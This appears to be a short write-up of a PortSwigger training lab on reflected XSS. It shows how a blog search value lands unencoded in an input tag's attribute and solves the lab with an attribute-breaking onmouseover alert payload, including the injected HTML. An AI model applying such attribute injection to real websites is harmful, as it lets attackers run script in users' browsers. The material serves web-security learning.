PortSwigger Lab: Reflected XSS into attribute with angle brackets HTML-encoded

Lab: Reflected XSS into attribute with angle brackets HTML-encoded

Observe

1. Submit random alphanumeric, for example banana01 for test input.
2. Try to search banana01 on the source code in inspect element. We will found two html element, first inside h1 tag and second at input tag. Like this:

<input type="text" placeholder="Search the blog..." name="search" value="banana01">

3. If we try again to search using value alert(1), the value of input tag will look like this. It means the value of input tag is not sanitized when we perform searching.

<input type="text" placeholder="Search the blog..." name="search" value="alert(1)">

4. Based on point 3, we know that the search value is not sanitized by this application.

Solution

1. Construct payload using " onmouseover="alert(document.domain)"
2. Input payload to the search form and click search
3. Lab solved  ✅
4. If your mouse in above the search form, the alert will showed.

Conclusion

1. The value in search form is not sanitized but rendered into the web page, it make the input is vulnerable to Reflected XSS.
2. When we use payload " onmouseover="alert(document.domain)", it will make the input tag look like this

<input type="text" placeholder="Search the blog..." name="search" value="" onmouseover="alert(document.domain)" "="">

As you can see, the first value in payload (") will close the value attribute and make it empty. Next, the payload will inject new attribute to the html input tag with onmouseover="alert(document.domain)". Alert will executed when the event onmouseover is true.

References

1. onmouseover (HTML element)
2. onmouseover Event